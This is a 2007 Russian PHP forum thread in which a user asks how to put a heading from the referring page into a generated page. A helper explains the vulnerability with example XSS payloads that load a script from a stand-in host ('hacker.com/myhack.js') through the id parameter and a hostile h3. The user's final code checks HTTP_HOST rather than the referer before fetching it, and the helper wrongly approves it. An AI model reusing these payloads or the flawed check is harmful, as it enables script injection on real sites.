Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Скриптовые языки программирования > PHP
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 02.11.2007, 20:17   #1
qwestor
 
Регистрация: 02.11.2007
Сообщений: 6
По умолчанию Как посчитать сумму строк во всех текстовых файлах?

Всем привет. Поиском не нашел, а вопрос простой:

Есть файл func.php и есть папка data, в которой лежат текстовые файлы вида 70393.dat, 81393.dat. В этих файлах записано от одной до кучи строк.
Надо, чтобы в func.php подсчитывалась сумма строк из всех текстовых файлов.

Догадываюсь, что выглядеть должно просто, типа
PHP код:
$lines=file($datafile);
$i=0;
do {
$i..... $sum=count($lines); ....

while(
$i...); 
Но я пока туплю
Как правильно?

Учимся оформлять код. Предупреждение //Модератор

Последний раз редактировалось SkyM@n; 02.11.2007 в 21:17.
qwestor вне форума Ответить с цитированием
Старый 02.11.2007, 21:20   #2
SkyM@n
Laravel/Vue expert
Старожил Подтвердите свой е-майл
 
Аватар для SkyM@n
 
Регистрация: 08.08.2007
Сообщений: 2,832
По умолчанию

Для организации прогонки всего массива также можно заюзать while
PHP код:
<?php
// получить web-страницу в виде массива и напечатать его
$fcontents file ('http://www.example.com/');
while (list (
$line_num$line) = each ($fcontents)) {
    echo 
"<b>Line $line_num:</b>; "htmlspecialchars ($line), "<br>\n";
}

?>
SkyM@n вне форума Ответить с цитированием
Старый 29.12.2007, 01:38   #3
qwestor
 
Регистрация: 02.11.2007
Сообщений: 6
По умолчанию

Цитата:
Сообщение от SkyM@n Посмотреть сообщение
Для организации прогонки всего массива также можно заюзать while
PHP код:
<?php
// получить web-страницу в виде массива и напечатать его
$fcontents file ('http://www.example.com/');
while (list (
$line_num$line) = each ($fcontents)) {
    echo 
"<b>Line $line_num:</b>; "htmlspecialchars ($line), "<br>\n";
}

?>
Вот наподобие у меня опять вопрос:

При переходе по ссылке со страницы a.php мне надо сгенерировать страницу b.php с текстом в тэгах title и h1, который содержится в тэге h3 на странице a.php.
Страница a.php имеет вид (упрощенно):

Код:
<html>…..
<body>…..
<?php include("eee");?> 
<h3>заголовок</h3>
<a href=b.php?id=ххх>ссылка</a>
<?php ……?>
<table>…..
<?php include("www");?>
</html>
Я так понимаю начало будет типа $page=getenv("HTTP_REFERER");
Но как потом $page правильно обработать и главное из страницы a.php заголовок из <h3> вытащить???

п.с. рнр5
qwestor вне форума Ответить с цитированием
Старый 29.12.2007, 17:09   #4
SkyM@n
Laravel/Vue expert
Старожил Подтвердите свой е-майл
 
Аватар для SkyM@n
 
Регистрация: 08.08.2007
Сообщений: 2,832
По умолчанию

Не, ну почему же реферер..
Обычным путем вытаскиваем, используя ассоциативный массив $_GET:

b.php:
PHP код:
...
<h1><?=$_GET["id"]?></h1>
...
Но! Внимание, в моем приведенном коде допущена серьезная ошибка!
Надеюсь, найти ее смоежете сами?
Лишь привел, чтобы натолкнуть на мысль. Доставить защиту не предоставляет ни малейшего труда.
SkyM@n вне форума Ответить с цитированием
Старый 29.12.2007, 17:16   #5
SkyM@n
Laravel/Vue expert
Старожил Подтвердите свой е-майл
 
Аватар для SkyM@n
 
Регистрация: 08.08.2007
Сообщений: 2,832
По умолчанию

PS. Подсказка - возможность инклюдинга
SkyM@n вне форума Ответить с цитированием
Старый 30.12.2007, 03:23   #6
qwestor
 
Регистрация: 02.11.2007
Сообщений: 6
По умолчанию

Цитата:
Сообщение от SkyM@n Посмотреть сообщение
PS. Подсказка - возможность инклюдинга
Про инклюдинг можно уточнить, как?

На сколько я знаю правильней в пхп5 (с выключенным регистр_глобалс):
Код:
<h1><?php if (!isset($id)) $id = $_GET['id'];?></h1>
Здесь инклюдинг не проскочит?

А по поводу предыдущего вопроса решение нашел:
Код:
<?php
$outpage=getenv("HTTP_REFERER");
$outpage=file_get_contents("$outpage");
preg_match ("/\<h3\>(.*?)\<\/h3\>/is",$outpage,$matches);
print "$matches[1]";
?>
Только как правильно условие дописать (почти клоакинг ): если не с моего сайта заход на эту страницу, то print "что-то другое"?
qwestor вне форума Ответить с цитированием
Старый 30.12.2007, 10:28   #7
SkyM@n
Laravel/Vue expert
Старожил Подтвердите свой е-майл
 
Аватар для SkyM@n
 
Регистрация: 08.08.2007
Сообщений: 2,832
По умолчанию

Ок. Давайте так. Представьте, что злоумышленник сделает вот такую ссылку:
Код:
http://yoursite.com/b.php?id=<script src='http://hacker.com/myhack.js'></script>
Видите?
На счет второго, то еще проще. Представьте, что в злоумышленника есть страничка, с которой он и делает переход на ваш сайт. Код странички:
Код:
<h3>http://yoursite.com/b.php?id=<script src='http://hacker.com/myhack.js'></script></h3>
Как видите, в обеих случаях можно сделать инклюд своего кода. Если код ограничиватся тольоко тем, что вы написали выше, то ничего *особо* страшного нет, но если все это будет стыковаться с БД - то сами понимаете....

В первом варианте надо заюзать escape_string. Никаких if (!isset($id)) не должно быть.
Во втором просто проверить реферал на наличие имени домена, если его нет - то юзаем другой. Ни в коем случае мы не должны ничего читать с чужих страниц - там может быть все, что угодно.
SkyM@n вне форума Ответить с цитированием
Старый 30.12.2007, 14:15   #8
qwestor
 
Регистрация: 02.11.2007
Сообщений: 6
По умолчанию

Цитата:
Сообщение от SkyM@n Посмотреть сообщение
Ок. Давайте так. Представьте, что злоумышленник сделает вот такую ссылку:
Код:
http://yoursite.com/b.php?id=<script src='http://hacker.com/myhack.js'></script>
Видите?
На счет второго, то еще проще. Представьте, что в злоумышленника есть страничка, с которой он и делает переход на ваш сайт. Код странички:
Код:
<h3>http://yoursite.com/b.php?id=<script src='http://hacker.com/myhack.js'></script></h3>
Как видите, в обеих случаях можно сделать инклюд своего кода. Если код ограничиватся тольоко тем, что вы написали выше, то ничего *особо* страшного нет, но если все это будет стыковаться с БД - то сами понимаете....

В первом варианте надо заюзать escape_string. Никаких if (!isset($id)) не должно быть.
Во втором просто проверить реферал на наличие имени домена, если его нет - то юзаем другой. Ни в коем случае мы не должны ничего читать с чужих страниц - там может быть все, что угодно.
О!!! SkyM@n, теперь у меня два вопроса:
1. в первом варианте - если я не использую мускул на сайте, то escape_string мне не нужен и страшного точно ничего нет?
2. во втором варианте - такой код правильный будет???:

Код:
<?php
$myhost="mysite.ru";
$host=$_SERVER["HTTP_HOST"];
$outpage=getenv("HTTP_REFERER");
if ($host==$myhost) {
$outpage=file_get_contents("$outpage"); // вытаскиваю свою страницу
preg_match ("/\<h3\>(.*?)\<\/h3\>/is",$outpage,$matches);
print "$matches[1]";
} else { print "что-то другое";} // на чужой сайт не лезу
?>

Последний раз редактировалось qwestor; 30.12.2007 в 16:00.
qwestor вне форума Ответить с цитированием
Старый 30.12.2007, 16:02   #9
SkyM@n
Laravel/Vue expert
Старожил Подтвердите свой е-майл
 
Аватар для SkyM@n
 
Регистрация: 08.08.2007
Сообщений: 2,832
По умолчанию

1)да/нет (можно ведь кроме БД - писать на диск и [под]менять страницы, но в твоем случает это не грозит)
2)да
SkyM@n вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Сортировка в файлах и записях. Паскаль Elizabeth Black Помощь студентам 2 27.05.2008 21:51
Помогите с вопросами о файлах Дима82 Помощь студентам 5 26.05.2008 19:49
Как посчитать сумму в столбце таблицы? Иллидан Microsoft Office Word 1 15.04.2008 21:30
Помогите, пожалуйста, решить задачу по файлах sheva_ser Паскаль, Turbo Pascal, PascalABC.NET 1 27.03.2008 19:36
копирование текстовых файлов teacher Общие вопросы Delphi 4 16.02.2008 20:29